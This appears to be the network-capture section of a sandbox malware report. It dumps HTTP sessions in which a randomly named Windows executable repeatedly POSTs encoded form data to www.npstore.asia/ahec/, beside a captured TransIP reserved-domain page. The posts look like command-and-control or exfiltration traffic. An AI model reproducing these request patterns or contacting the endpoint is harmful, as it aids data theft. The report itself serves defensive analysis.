76 2d 62 72 61 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html> <head lang="en"> <meta charset="ascii"> <title>TransIP - Reserved domain</title> <meta name="description" content="TransIP - Reserved domain"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow"> <link rel="shortcut icon" href="//reserved.transip.nl/assets/img/favicon.ico" type="image/x-icon" /> <link href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,900' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="//reserved.transip.nl/assets/css/combined-min.css"> <title>Bezet!</title> </head> <body> <div class="container"> <div role="navigation" class="reserved-nav-container"> <div class="col-xs-6 reserved-nav-left reserved-nav-brand">
Dec 8, 2023 14:53:40.852233887 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 72 61 6e 73 69 70 2e 6e 6c 2f 22 20 63 6c 61 73 73 3d 22 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 62 72 61 6e 64 2d 6c 69 6e 6b 20 6c 61 6e 67 5f 6e 6c 22 20 72 65 6c 3d 22 Data Ascii: <a href="https://transip.nl/" class="reserved-nav-brand-link lang_nl" rel="nofollow"> <svg version="1.1" id="transip-logo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="
Dec 8, 2023 14:53:40.852252960 CET	1286	IN	Data Raw: 32 2c 30 2d 33 2e 35 2c 30 2e 31 2d 34 2e 36 2c 30 2e 35 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 2d 31 2e 31 2c 30 2e 34 2d 31 2e 37 2c 31 2e 33 2d 31 2e 37 2c 32 2e 38 76 30 2e 38 63 Data Ascii: 2,0-3.5,0.1-4.6,0.5 c-1.1,0.4-1.7,1.3-1.7,2.8v0.8c0,1.2,0.2,2.102,0.9,2.801c0.7,0.699,1.8,1,3.6,1h5.4c2.9,0,4-0.199,4.6-1v0.801h2.7V8.8 C50.7,5,47.6,4.5,43.4,4.5z"/>
Dec 8, 2023 14:53:40.852272034 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: /> <g> <g> <rect class="transip-logo-part" x="96.5" fill="#187DC1" width="2.7" height="2.2"/> </g>
Dec 8, 2023 14:53:40.852313042 CET	1286	IN	Data Raw: 76 65 64 2d 6e 61 76 2d 62 72 61 6e 64 2d 6c 69 6e 6b 20 6c 61 6e 67 5f 65 6e 20 68 69 64 64 65 6e 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 Data Ascii: ved-nav-brand-link lang_en hidden" rel="nofollow"> <svg version="1.1" id="transip-logo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve"> <pa
Dec 8, 2023 14:53:40.852364063 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 63 2d 31 2e 31 2c 30 2e 34 2d 31 2e 37 2c 31 2e 33 2d 31 2e 37 2c 32 2e 38 76 30 2e 38 63 30 2c 31 2e 32 2c 30 2e 32 2c 32 2e 31 30 32 2c 30 2e 39 2c 32 2e 38 30 31 63 30 2e 37 2c 30 2e 36 39 39 2c 31 2e 38 2c 31 2c Data Ascii: c-1.1,0.4-1.7,1.3-1.7,2.8v0.8c0,1.2,0.2,2.102,0.9,2.801c0.7,0.699,1.8,1,3.6,1h5.4c2.9,0,4-0.199,4.6-1v0.801h2.7V8.8 C50.7,5,47.6,4.5,43.4,4.5z"/> <path class="transip-logo-p
Dec 8, 2023 14:53:40.852443933 CET	1286	IN	Data Raw: 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 Data Ascii: <g> <g> <rect class="transip-logo-part" x="96.5" fill="#187DC1" width="2.7" height="2.2"/> </g> </g>
Dec 8, 2023 14:53:40.852509022 CET	1286	IN	Data Raw: 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 73 77 69 74 63 68 4c 61 6e 67 75 61 67 65 28 27 6e 6c 27 29 22 20 63 6c 61 73 73 3d 22 72 65 73 65 72 76 65 64 2d 6e 61 76 2d 66 6c 61 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: href="javascript:switchLanguage('nl')" class="reserved-nav-flag"> <svg class="flag-icon" xmlns="http://www.w3.org/2000/svg" height="15" width="20" viewBox="0 0 640 480" version="1"><g fill-rule="evenodd" stroke-width="1
Dec 8, 2023 14:53:40.852539062 CET	1286	IN	Data Raw: 68 31 30 32 2e 34 56 30 68 2d 31 30 32 2e 34 7a 4d 2d 32 35 36 20 35 31 32 2e 30 31 4c 38 35 2e 33 34 20 33 34 31 2e 33 34 68 37 36 2e 33 32 34 6c 2d 33 34 31 2e 33 34 20 31 37 30 2e 36 37 48 2d 32 35 36 7a 4d 2d 32 35 36 20 30 4c 38 35 2e 33 34 Data Ascii: h102.4V0h-102.4zM-256 512.01L85.34 341.34h76.324l-341.34 170.67H-256zM-256 0L85.34 170.67H9.016L-256 38.164V0zm606.356 170.67L691.696 0h76.324L426.68 170.67h-76.324zM768.02 512.01L426.68 341.34h76.324L768.02 473.848v38.162z" fill="#c00"/></g><
Dec 8, 2023 14:53:40.852638960 CET	1286	IN	Data Raw: 32 35 2e 35 2d 35 37 2c 35 37 73 32 35 2e 35 2c 35 37 2c 35 37 2c 35 37 73 35 37 2d 32 35 2e 35 2c 35 37 2d 35 37 53 31 33 31 2e 34 2c 34 34 2c 39 39 2e 39 2c 34 34 7a 20 4d 31 33 33 2e 34 2c 31 34 31 2e 33 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 25.5-57,57s25.5,57,57,57s57-25.5,57-57S131.4,44,99.9,44z M133.4,141.3 c-3.7-1.8-15.9-4.2-18.8-6.1c-3.4-2.1-2.3-13.7-2.3-13.7l2.3-2c0,0,0.6-5.2,1.6-7.1c2.2-4.3,4.6-11.4,4.6-11.4s2.3-1.7,2.3-4.
Dec 8, 2023 14:53:41.091236115 CET	1286	IN	Data Raw: 20 20 20 20 20 20 6c 32 2e 35 2d 32 2e 35 63 30 2c 30 2c 30 2e 31 2c 30 2c 30 2e 31 2d 30 2e 31 63 30 2c 30 2c 30 2e 31 2d 30 2e 31 2c 30 2e 31 2d 30 2e 31 63 32 2e 39 2d 33 2c 33 2e 31 2d 37 2e 37 2c 30 2e 35 2d 31 30 2e 39 6c 30 2e 31 2c 30 63 Data Ascii: l2.5-2.5c0,0,0.1,0,0.1-0.1c0,0,0.1-0.1,0.1-0.1c2.9-3,3.1-7.7,0.5-10.9l0.1,0c-1.9-2.3-3.9-4.5-6-6.6c-2.2-2.2-4.4-4.2-6.8-6.2 l0,0c-2.9-2.4-7-2.4-10-0.3l-1.8,1.8l-1.7,1.7l-0.1-0.1c-3.6,3.6-8.8,4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49793	52.220.48.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:47.452611923 CET	738	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.npstore.asia Origin: http://www.npstore.asia Referer: http://www.npstore.asia/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 70 4f 56 4f 61 49 44 38 37 38 67 41 45 65 64 4a 63 56 4a 55 52 74 6e 62 56 58 35 56 5a 6d 53 79 75 34 45 42 48 41 6c 2b 47 38 36 45 4f 6d 47 39 67 4c 6a 63 63 69 44 71 59 68 66 45 36 72 51 47 33 4d 67 75 48 51 30 33 4b 58 43 79 5a 66 45 4c 70 6f 6e 59 5a 59 41 34 2b 5a 52 39 67 36 4d 77 2b 4d 44 5a 65 75 4b 62 2b 36 39 46 70 46 37 4a 75 46 30 4b 32 45 4b 47 55 4b 55 57 6e 77 52 43 54 44 69 58 34 54 49 53 6b 43 44 30 37 62 33 4e 51 54 73 54 48 4a 53 65 48 6b 73 50 66 42 2f 63 63 65 73 42 36 67 35 74 78 47 39 54 2f 31 69 6e 7a 41 3d 3d Data Ascii: XveXHZvx=pOVOaID878gAEedJcVJURtnbVX5VZmSyu4EBHAl+G86EOmG9gLjcciDqYhfE6rQG3MguHQ03KXCyZfELponYZYA4+ZR9g6Mw+MDZeuKb+69FpF7JuF0K2EKGUKUWnwRCTDiX4TISkCD07b3NQTsTHJSeHksPfB/ccesB6g5txG9T/1inzA==
Dec 8, 2023 14:53:47.872071981 CET	363	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 08 Dec 2023 13:53:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.npstore.asia/ahec/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49794	52.220.48.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:50.336647034 CET	758	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.npstore.asia Origin: http://www.npstore.asia Referer: http://www.npstore.asia/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 70 4f 56 4f 61 49 44 38 37 38 67 41 46 2f 74 4a 61 45 4a 55 41 4e 6d 70 5a 33 35 56 54 47 53 32 75 34 59 42 48 43 4a 75 47 4b 4b 45 4e 45 4f 39 6a 4f 44 63 66 69 44 71 41 78 66 42 35 62 51 64 33 4d 73 4d 48 56 4d 33 4b 58 47 79 5a 64 63 4c 75 62 50 66 5a 49 41 6d 32 35 52 2f 6b 36 4d 77 2b 4d 44 5a 65 75 65 78 2b 36 6c 46 70 31 4c 4a 73 67 55 4e 38 6b 4b 42 64 71 55 57 78 77 52 47 54 44 6a 34 34 57 70 48 6b 45 48 30 37 62 6e 4e 51 41 30 4d 4e 4a 53 59 59 30 74 66 51 54 44 51 59 65 74 65 30 52 74 54 75 53 5a 44 2b 67 4f 30 30 37 34 71 4b 51 4a 67 68 56 4f 39 65 55 65 56 47 75 39 76 50 4c 4d 3d Data Ascii: XveXHZvx=pOVOaID878gAF/tJaEJUANmpZ35VTGS2u4YBHCJuGKKENEO9jODcfiDqAxfB5bQd3MsMHVM3KXGyZdcLubPfZIAm25R/k6Mw+MDZeuex+6lFp1LJsgUN8kKBdqUWxwRGTDj44WpHkEH07bnNQA0MNJSYY0tfQTDQYete0RtTuSZD+gO0074qKQJghVO9eUeVGu9vPLM=
Dec 8, 2023 14:53:50.694278002 CET	363	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 08 Dec 2023 13:53:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.npstore.asia/ahec/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49795	52.220.48.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:53.437545061 CET	10840	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.npstore.asia Origin: http://www.npstore.asia Referer: http://www.npstore.asia/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 70 4f 56 4f 61 49 44 38 37 38 67 41 46 2f 74 4a 61 45 4a 55 41 4e 6d 70 5a 33 35 56 54 47 53 32 75 34 59 42 48 43 4a 75 47 4a 71 45 4e 33 57 39 68 6f 4c 63 65 69 44 71 65 68 66 41 35 62 52 46 33 4d 45 49 48 56 49 6e 4b 53 61 79 59 2b 55 4c 72 71 50 66 53 49 41 6d 36 5a 52 38 67 36 4d 66 2b 49 66 64 65 75 4f 78 2b 36 6c 46 70 7a 6e 4a 2f 56 30 4e 7a 45 4b 47 55 4b 55 53 6e 77 52 69 54 44 36 50 34 57 64 58 6b 30 6e 30 69 36 58 4e 44 43 73 4d 50 70 53 61 5a 30 73 61 51 54 4f 4f 59 65 78 53 30 52 5a 71 75 51 46 44 38 78 4c 6a 6f 61 41 75 59 31 46 5a 32 30 71 51 61 55 33 39 54 2f 6c 73 4d 73 34 77 30 44 6e 63 59 31 50 61 50 5a 61 5a 30 6b 35 4e 7a 57 51 4e 44 54 61 47 56 54 50 4e 62 4d 4e 73 42 4a 34 50 42 56 45 4a 65 79 47 35 75 58 54 55 69 49 6e 4b 6c 34 59 36 65 34 39 79 57 71 47 4f 65 41 30 71 37 64 2f 42 51 48 44 5a 66 63 4c 71 56 38 61 49 6a 31 4e 31 65 71 61 68 6f 46 4b 66 51 31 4f 33 38 6e 4b 78 38 66 78 34 70 70 73 6c 58 72 5a 58 42 5a 68 72 4d 59 32 59 63 46 66 35 64 69 66 58 2b 48 42 6b 6f 5a 53 44 63 68 6e 76 77 41 37 69 65 76 52 47 73 37 59 65 37 4e 44 63 71 68 72 6e 57 33 73 2f 66 39 77 56 61 65 48 69 4f 2f 35 6a 6b 47 4d 77 36 46 4b 45 7a 6a 34 62 71 79 67 39 4d 79 44 44 69 64 2b 68 30 4c 66 44 72 67 34 41 46 6b 31 73 46 76 67 66 6a 38 2b 75 6d 42 71 30 41 4f 38 6e 5a 72 6f 36 66 38 44 32 33 44 59 78 4e 33 36 75 42 4d 52 44 71 53 46 38 79 37 6d 38 70 6f 56 71 4e 44 6e 41 67 69 5a 4e 65 44 78 76 79 31 78 37 36 45 58 7a 53 50 6a 6c 6e 44 5a 78 33 38 4b 75 38 2f 69 44 33 4d 56 55 6d 38 50 47 66 39 5a 57 41 37 6b 37 4e 58 4f 64 4f 61 41 7a 49 4f 67 2b 7a 61 41 4d 5a 37 47 56 45 73 6f 32 41 70 4f 31 41 64 70 44 38 76 50 41 4f 46 4e 49 46 6f 6c 4f 39 58 49 39 49 79 6b 41 67 50 4d 50 75 7a 49 61 51 30 6b 51 37 34 58 43 53 52 6e 65 34 76 31 58 6a 43 7a 36 67 4d 6d 6c 46 6a 66 38 41 47 50 65 4c 79 4a 6f 66 51 6a 48 6c 30 33 2b 4c 72 52 31 78 34 67 31 59 50 39 73 33 31 39 4f 66 46 6a 77 4b 30 4c 66 52 78 49 46 53 79 30 63 74 4c 33 4d 34 64 31 2b 72 7a 6c 76 59 4b 74 63 6b 48 67 65 41 31 70 42 32 32 39 49 6b 4e 44 54 68 5a 47 2f 41 46 56 4b 72 55 35 49 38 7a 36 48 38 69 30 4d 74 47 37 62 38 39 2f 37 71 32 49 57 72 72 74 63 66 2f 43 41 46 6e 45 5a 49 6b 32 71 2b 75 41 37 78 74 61 39 62 77 58 77 43 4d 33 67 77 38 41 59 6f 45 6e 42 6c 4f 6b 4e 4d 4d 6a 77 44 6a 51 68 4d 67 4c 6f 65 66 4c 76 74 68 75 4b 64 79 37 43 73 31 49 50 6d 72 62 2f 67 39 4b 37 45 70 73 47 74 74 6a 65 49 6c 34 50 41 51 68 30 49 58 58 66 32 57 72 74 74 71 2b 63 49 2b 73 62 6f 72 4b 4a 75 30 50 4b 6f 55 45 4a 70 71 2f 4c 36 65 45 66 74 4f 72 70 48 73 72 57 78 6e 4d 61 53 4d 6c 31 2b 66 79 61 73 2f 58 61 64 6b 68 48 39 62 37 5a 36 63 2b 6b 61 47 49 48 64 56 45 78 65 49 62 35 33 6c 45 4f 75 46 4a 62 78 46 57 43 78 77 4d 54 48 57 70 32 61 33 4a 4e 78 4a 69 6b 72 2b 4b 47 4f 6f 65 4a 56 4c 63 70 4f 47 74 44 50 49 45 53 6e 6b 42 45 6f 6c 6f 4d 2b 32 77 6b 59 59 61 38 49 6b 79 59 47 57 48 48 46 59 4d 32 4e 49 76 65 45 2b 5a 41 73 33 56 38 6d 68 6b 6a 38 53 31 68 66 34 34 49 4b 76 72 68 68 44 43 7a 46 78 64 68 76 34 66 61 33 4a 4c 4b 4d 37 6f 4d 6f 51 62 48 44 63 6a 4f 70 72 75 36 78 5a 2f 33 66 46 63 51 5a 65 55 38 73 61 62 35 63 36 39 45 32 59 59 4e 69 67 76 66 6b 39 53 4b 7a 65 38 6c 59 50 61 4f 4f 2f 46 30 4a 4b 54 36 54 51 75 49 72 52 73 32 44 38 38 45 79 55 44 47 4d 70 6e 6b 72 4c 6a 50 41 58 44 55 45 51 65 63 63 67 2f 31 72 50 75 4e 30 41 64 4d 32 32 6d 4f 75 63 4c 4c 50 2b 6c 57 77 48 50 42 52 4b 73 43 54 47 64 6a 68 75 30 70 4e 50 56 46 44 74 36 59 56 48 45 32 56 37 5a 76 46 41 51 59 74 77 50 4b 4c 57 67 57 76 43 5a 74 64 71 64 6c 75 6a 54 4a 41 4f 6a 5a 64 68 41 38 77 64 62 43 4a 67 31 49 67 46 50 4c 4d 68 50 54 74 52 59 50 74 44 2b 6d 50 43 47 54 6d 33 68 2f 37 36 58 4f 61 37 50 54 41 67 4b 4c 48 64 79 69 51 37 6f 70 66 4c 73 52 41 6a 2f 42 71 35 31 68 46 53 35 4e 75 78 39 43 72 6a 67 52 37 30 4a 47 30 33 37 6d 65 66 65 69 4a 35 41 78 44 73 54 77 65 63 2b 41 50 37 31 6e 46 2f 43 64 65 72 43 45 6d 71 71 68 75 66 36 41 71 65 54 4d 74 67 67 52 34 69 31 51 75 33 70 56 4c 53 47 35 37 4c 45 5a 32 76 72 76 76 65 59 71 78 68 Data Ascii: XveXHZvx=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
